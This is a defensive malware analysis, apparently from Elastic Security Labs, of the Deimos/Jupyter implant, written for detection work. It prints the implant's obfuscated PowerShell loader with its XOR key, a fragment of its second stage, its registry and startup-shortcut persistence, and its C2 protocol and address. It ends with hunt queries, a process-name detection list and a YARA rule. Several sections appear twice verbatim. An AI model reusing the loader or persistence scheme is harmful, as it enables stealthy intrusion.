<p>The sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection.</p>
<p>The analysis will leverage David Bianco's <a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain</a> analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs.</p>
<h2>Details</h2>
<p>On August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [<a href="https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction">1</a>] [<a href="https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer">2</a>] [<a href="https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1">3</a>] [<a href="https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1">4</a>] [<a href="https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two">5</a>]. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis.</p>
<p><em>Note: As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality.</em></p>
<p>During dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution), directories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics employed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's execution.</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -command &quot;$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\}\}\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;&quot;
</code></pre>
<p><em>Figure 1: PowerShell executed by malware installer</em></p>
<p>The sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script ($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is deleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers.</p>
<pre><code>FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
</code></pre>
<p><em>Figure 2: Base64 encoded file read and then deleted</em></p>
<p>Additionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example) with a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the 650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted.</p>
<p>To do this, we leveraged the <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-23-filedelete-file-delete-archived">FileDelete</a> event configuration for Sysmon. By default, this creates a directory in the &quot;C:\Sysmon&quot; directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">PSExec</a> to access the folder (psexec -sid cmd). The file contained a single-line Base64-encoded string.</p>
<p>As we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools <a href="https://linux.die.net/man/1/base64">base64</a> and <a href="https://github.com/hellman/xortool">xortool</a>, we're able to decode and decrypt the file:</p>
<ul>
<li>base64
<ul>
<li>-D - use the base64 program to decode</li>
<li>-i - the input file to be decoded</li>
<li>-o - the output file to save the decoded content</li>
</ul>
</li>
<li>xortool-xor
<ul>
<li>-r - the XOR cipher key</li>
<li>-f - the file that is XOR encrypted</li>
<li>\&gt; - output the decrypted file</li>
</ul>
</li>
</ul>
<pre><code>base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
-o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
-f 650326ac2b1100c4508b8a700b658ad7.decoded \
\&gt; 650326ac2b1100c4508b8a700b658ad7.xor
</code></pre>
<p><em>Figure 3: Decrypting the XOR'd Base64 encoded file</em></p>
<p>This resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell.</p>
<pre><code>$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;
</code></pre>
<p><em>Figure 4: Final obfuscated file (truncated)</em></p>
<p>Following the same process as before, we identified the XOR key (which may have been trying to use an = sign to appear to look like it was Base64) and decoded the file.</p>
<pre><code>XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
</code></pre>
<p><em>Figure 5: XOR cipher key</em></p>
<p>This process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more about the tracking ID is in the Analysis - Initial Access section).</p>
<pre><code>adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
</code></pre>
<p><em>Figure 6: .NET DLL file type</em></p>
<p>The DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo [<a href="https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction">1</a>] [<a href="https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer">2</a>] [<a href="https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1">3</a>] [<a href="https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1">4</a>] [<a href="https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two">5</a>]. The particular samples that we've observed utilize the .NET hardening tool <a href="https://www.preemptive.com/dotfuscator/ce/docs/help/index.html">Dotfuscator CE 6.3.0</a> to hinder malware analysis.</p>
<p>What we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain.</p>
<h2>Analysis</h2>
<p>All indicators referenced in the analysis are located in the Indicators section.</p>
<h3>The Pyramid of Pain</h3>
<p>Before we get into the analysis, let's discuss the model we used to help guide our process.</p>
<p>In 2013, security researcher David Bianco released an analytical model called the <a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain</a>. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-pyramid-of-pain.jpg" alt="Figure 7: Pyramid of Pain" /></p>
<p>The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of &quot;pain&quot;) you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.</p>
<h3>File Hashes</h3>
<p>Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.</p>
<p>So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.</p>
<h3>IP Addresses</h3>
<p>As other researchers have noted, we observed the same IP address used in the campaign. This IP address was <a href="https://www.virustotal.com/gui/ip-address/216.230.232.134/relations">first associated</a> with malicious files on August 30, 2021.</p>
<pre><code>IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago
</code></pre>
<p><em>Figure 8: Information on identified IP address</em></p>
<p>This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.</p>
<p>While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.</p>
<h3>Artifacts</h3>
<h4>Resource Development</h4>
<p>The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a &quot;Spoloènos s Ruèením Obmedzeným&quot; (S.R.O.). An <a href="https://www.offshorecompany.com/company/slovakia-s-r-o/">S.R.O.</a> is a business designation for Slovakian businesses owned by a foreign entity.</p>
<p>The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).</p>
<h2>File Hashes</h2>
<p>Once we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.</p>
<p>So while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.</p>
<h2>IP Addresses</h2>
<p>As other researchers have noted, we observed the same IP address used in the campaign. This IP address was <a href="https://www.virustotal.com/gui/ip-address/216.230.232.134/relations">first associated</a> with malicious files on August 30, 2021.</p>
<pre><code>IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago
</code></pre>
<p><em>Figure 8: Information on identified IP address</em></p>
<p>This IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.</p>
<p>While this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.</p>
<h3>Artifacts</h3>
<h5>Resource Development</h5>
<p>The lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a &quot;Spoloènos s Ruèením Obmedzeným&quot; (S.R.O.). An <a href="https://www.offshorecompany.com/company/slovakia-s-r-o/">S.R.O.</a> is a business designation for Slovakian businesses owned by a foreign entity.</p>
<p>The S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-lure-file-digital-signing-sro1-and-owner-sro2.jpg" alt="Figure 9: Lure file digital signing S.R.O. (SRO #1) and owner (SRO #2)" /></p>
<p>SRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has a single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/SRO_2.jpg" alt="Figure 10: SRO #2 and SRO #1 sharing the same executive manager" /></p>
<p>We are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia.</p>
<h2>Initial Access</h2>
<p>We observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the source code prior to compilation and require significant work to adjust.</p>
<p>The dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity.</p>
<p>Additionally, the .Net assembly creates a string by listing all files located at %USERPROFILE%\APPDATA\ROAMING. This is stored as the hwid value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding.</p>
<h2>Persistence</h2>
<p>Once executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named <code>%APPDATA%\Microsoft\&lt;random string&gt;</code>. The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named <code>&lt;random string&gt;.&lt;random string&gt;</code>, where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses.</p>
<p>The next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at <code>HKEY\_CURRENT\_USER\Software\Classes\&lt;random string&gt;\</code>, where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of \Shell\Open\Command that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example PowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. It's value matches the lowercase value of the random string used in the first key's path.</p>
<p>The final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-persistence-mechanism-flow.png" alt="Figure 11: Persistence mechanism flow" /></p>
<h4>Command and Control Phase</h4>
<p>The malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands.</p>
<p>There are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication.</p>
<p>No additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive.</p>
<pre><code>POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive
</code></pre>
<p><em>Figure 12: C2 HTTP headers</em></p>
<p>Figure 13 depicts the hex dump of the body of the client's POST request.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-c2-http-body.jpg" alt="Figure 13: C2 HTTP body" /></p>
<p>The first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length.</p>
<p>The RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in <a href="#yara-rules">Figure 24</a>, we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.</p>
<h4>Main Loop</h4>
<p>Once the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the ping action. ping sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant.</p>
<p>If a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either &quot;file&quot; or &quot;command&quot;. If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks.</p>
<p>For &quot;file&quot; tasks, the implant immediately performs another request using the task_id attribute from the task definition to retrieve the file. The implant expects an &quot;exe&quot; file, a &quot;ps1&quot; file, or a &quot;module&quot;, which is a .Net Assembly file.</p>
<p>When an &quot;exe&quot; is downloaded, it will be written to a file in the <code>%TEMP%\&lt;RANDOM\_NAME&gt;.exe</code>, where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval.</p>
<p>When a &quot;ps1&quot; file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input.</p>
<p>Finally, &quot;module&quot; files are added to a &quot;plugin manager&quot; and executes the &quot;Run&quot; method.</p>
<p>For &quot;command&quot; tasks, no additional request is required. The &quot;command&quot; value from the response contains PowerShell code that will be executed the same as the &quot;ps1&quot; file type.</p>
<p>Presumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the &quot;command&quot; type. For larger scripts, the &quot;file&quot; type would be used.</p>
<h3>Tools</h3>
<p>Looking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform.</p>
<pre><code>Comments : This installation was built with Inno Setup.
Company Name :
File Description : SlimReader Setup
File Version :
Legal Copyright : (c) InvestTech
Original File Name :
Product Name : SlimReader
Product Version : 1.4.1.2
</code></pre>
<p><em>Figure 14: Malware lure file metadata</em></p>
<p>While this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire <a href="https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire">identified</a> SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files.</p>
<h3>TTPs</h3>
<p>At the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as <a href="https://developers.google.com/search/docs/advanced/guidelines/sneaky-redirects">Google Sneaky Redirects</a> and <a href="https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882">Search Engine Optimization (SEO) Poisoning</a> to trick users into installing the malware.</p>
<p>SEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for &quot;free resume template&quot;, and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the Elastic Analyzer view.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-malware-executing-obfuscated-powershell-processes.png" alt="Figure 15: Malware executing obfuscated PowerShell processes" /></p>
<p>Understanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets.</p>
<h2>Impact</h2>
<p>The described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT&amp;CK® framework. Other TTPs may exist, however, they were not observed during our analysis.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
</ul>
<h3>Techniques / Sub Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583">Acquire Infrastructure</a> - <a href="https://attack.mitre.org/techniques/T1583/003">Virtual Private Server</a></li>
<li><a href="https://attack.mitre.org/techniques/T1587">Develop Capabilities</a> - <a href="https://attack.mitre.org/techniques/T1587/001">Malware</a>, <a href="https://attack.mitre.org/techniques/T1587/002">Code Signing Certificates</a> or <a href="https://attack.mitre.org/techniques/T1588">Obtain Capabilities</a> - <a href="https://attack.mitre.org/techniques/T1588/001">Malware</a>, <a href="https://attack.mitre.org/techniques/T1588/003">Code Signing Certificates</a></li>
<li><a href="https://attack.mitre.org/techniques/T1189/">Drive-by Compromise</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a> - <a href="https://attack.mitre.org/techniques/T1059/001">PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204">User Execution</a> - <a href="https://attack.mitre.org/techniques/T1204/002">Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547">Boot or Logon Autostart Execution</a> - <a href="https://attack.mitre.org/techniques/T1547/001">Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a> - <a href="https://attack.mitre.org/techniques/T1027/005">Indicator Removal from Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071">Application Layer Protocol</a> - <a href="https://attack.mitre.org/techniques/T1071/001">Web Protocols</a></li>
</ul>
<h2>Detection</h2>
<p>There is an <a href="https://www.elastic.co/pt/guide/en/security/8.0/shortcut-file-written-or-modified-for-persistence.html">existing detection rule</a> that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques.</p>
<h3>Detection Logic</h3>
<p>Elastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.</p>
<h3>New Detection Rules</h3>
<p><a href="https://github.com/elastic/detection-rules/issues/1488">Suspicious Registry Modifications</a></p>
<p><a href="https://github.com/elastic/detection-rules/issues/1489">Abnormal File Extension in User AppData Roaming Path</a></p>
<h2>Hunting Queries</h2>
<p>These queries can be used in Kibana's Security -&gt; Timelines -&gt; New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.</p>
<p>This query will identify the initial dropped file containing the obfuscated installer.</p>
<pre><code>file where file.path regex &quot;&quot;&quot;C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}&quot;&quot;&quot;
</code></pre>
<p><em>Figure 16: Hunt query identifying initial installer</em></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-initial-installer-using-timelines.jpg" alt="Figure 17: Hunt query identifying initial installer using Timelines" /></p>
<p>This query will identify the unique “Hardware ID” file (<code>hwid</code>) that is created the first time the implant is run. This ID file is used to uniquely identify this installation.</p>
<pre><code>file where file.path regex~ &quot;&quot;&quot;.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}&quot;&quot;&quot;
</code></pre>
<p><em>Figure 18: Hunt query identifying Hardware ID</em></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-hardware-id-using-timelines.jpg" alt="Figure 19: Hunt query identifying Hardware ID using Timelines" /></p>
<p>This query will identify any files with a file extension of ten or more characters in the AppData\Roaming path.</p>
<pre><code>file where file.path : &quot;*\\appdata\\roaming\\*&quot; and
length(file.extension) &gt;= 10 and
process.name : (&quot;cmd.exe&quot;, &quot;powershell.exe&quot;, &quot;wmic.exe&quot;, &quot;mshta.exe&quot;, &quot;pwsh.exe&quot;, &quot;cscript.exe&quot;, &quot;wscript.exe&quot;, &quot;regsvr32.exe&quot;, &quot;RegAsm.exe&quot;, &quot;rundll32.exe&quot;, &quot;EQNEDT32.EXE&quot;, &quot;WINWORD.EXE&quot;, &quot;EXCEL.EXE&quot;, &quot;POWERPNT.EXE&quot;, &quot;MSPUB.EXE&quot;, &quot;MSACCESS.EXE&quot;, &quot;iexplore.exe&quot;, &quot;InstallUtil.exe&quot;)
</code></pre>
<p><em>Figure 20: Hunt query identifying long file extensions</em></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-long-file-extensions-in-timelines.jpg" alt="Figure 21: Hunt query identifying long file extensions in Timelines" /></p>
<p>This query will identify a long string value containing the word &quot;powershell&quot; in the Registry.</p>
<pre><code>registry where registry.data.strings : &quot;*powershell*&quot; and length(registry.data.strings) \&gt;= 100
</code></pre>
<p><em>Figure 22: Hunt query identifying long Registry strings</em></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-long-registry-strings-in-timelines.jpg" alt="Figure 23: Hunt query identifying long Registry strings in Timelines" /></p>
<h2>YARA Rules</h2>
<p>We have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.</p>
<pre><code>rule Windows_Trojan_Deimos_DLL {
meta:
author = &quot;Elastic Security&quot;
creation_date = &quot;2021-09-18&quot;
last_modified = &quot;2021-09-18&quot;
os = &quot;Windows&quot;
arch = &quot;x86&quot;
category_type = &quot;Trojan&quot;
family = &quot;Deimos&quot;
threat_name = &quot;Windows.Trojan.Deimos&quot;
description = &quot;Detects the presence of the Deimos trojan DLL file.&quot;
reference = &quot;&quot;
reference_sample = &quot;2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e&quot;

strings:
$a1 = &quot;\\APPDATA\\ROAMING&quot; wide fullword
$a2 = &quot;\{\&quot;action\&quot;:\&quot;ping\&quot;,\&quot;&quot; wide fullword
$a3 = &quot;Deimos&quot; ascii fullword
$b1 = \{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \}
$b2 = \{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \}
condition:
all of ($a*) or 1 of ($b*)
\}
</code></pre>
<p><em>Figure 24: Deimos DLL YARA Rule</em></p>
